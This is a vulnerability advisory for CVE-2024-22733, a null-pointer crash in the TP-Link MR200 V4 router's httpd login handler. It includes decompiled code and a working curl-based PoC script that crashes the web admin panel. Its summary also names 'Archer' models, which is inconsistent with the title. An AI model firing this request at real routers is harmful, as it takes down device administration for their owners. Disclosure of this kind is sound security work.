CVE-2024-22733 : DoS of Web Admin Panel through unchecked return value to NULL pointer dereference on TP-Link MR200 V4 routers

I. Summary

Hardware ver. : TL-MR200 V4
Firmware ver. :  210201
httpd binary (sha256) signature :  C34227B0EC6C043066FED1CE3ECFEE55C2892937A054ECD3EF57605DE0C4DE91
CVSS v3.1 : 5.3 - 4.0 (medium-low)

Authentication CGI Script in TP-Link Archer V4->V5.3 Firmware ver. 210201 -> 220513 does not check null input, which allows attacker to crash the Web Admin Panel through a crafted http POST request.

II. Context

The js front-end sends a POST request for authentication with these URL params.

/cgi/login?data=<data>&sign=<sign>&Action=1&LoginStatus=0 HTTP/1.1

Issue

Unauthenticated users can send a crafted version of that request with either sign, Action or LoginStatus removed which will result in the crash of the httpd service caused by strtol() and strlen() trying to read from a null pointer.

Example

/cgi/login?data=foo&Action=1&LoginStatus=0 HTTP/1.1

III. Details

On the router, a binary named httpd runs as a service on port 80. Analyzing the httpd binary, it is found that inside the http_rpm_login function, the return values of http_parser_getEnv() on sign, Action and LoginStatus can be null and may lead further down the line to null pointer dereference in the strtol and strlen functions.

Here the returned values are unchecked and passed as arguments to strtol :

    pcVar6 = (char *)http_parser_getEnv("Action");
    pcVar1 = (char *)http_parser_getEnv("LoginStatus");
    lVar2 = strtol(pcVar6,(char **)0x0,0); // If Return Null Will Crash Here (IRNWCH)
    lVar3 = strtol(pcVar1,(char **)0x0,0); // IRNWCH
    uVar7 = http_parser_getEnv(&SIGN);
    uVar4 = http_parser_getEnv(&DATA);
    memset(acStack5068,0,0x200);
    memcpy(auStack5348,(void *)param_1[0x20],0x118);
    local_14e0 = 0;
    iVar8 = http_gdpr_decrypt(auStack5348,uVar4,uVar7,acStack5068); // IRNWCH
    ...

Further into the function http_gdpr_decrypt() and through the http_rsa_decrypt(), param_1 which stores sign will be passed as argument in the strlen() function and will result in a null pointer dereference if sign is null.

undefined4 http_rsa_decrypt(char *sign,int param_2,undefined4 param_3,undefined4 param_4)

{
  size_t sVar1;
  RSA *r;
  int iVar2;

  sVar1 = strlen(sign); // IRNWCH
  if ((sign == (char *)0x0) || (param_2 == 0)) {
  ...

IV. Consequences

It impacts availability as the interface is inaccessible until a reboot of the device.

PoC

if [ "$#" -ne 1 ];
then 
        echo "Usage: ./poc.sh <target>"
        echo "Example: ./poc.sh 192.168.1.1"
else
        curl "http://$1/cgi/login?data=AAAAAAA&Action=1&LoginStatus=0" -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H "Origin: http://$1" -H 'Connection: keep-alive' -H "Referer: http://$1/" -H 'Cookie: loginErrorShow=1' -H 'Content-Length: 0'
fi

Disclosure

The vendor confirmed the vulnerability and fixed in later versions () of the firmware.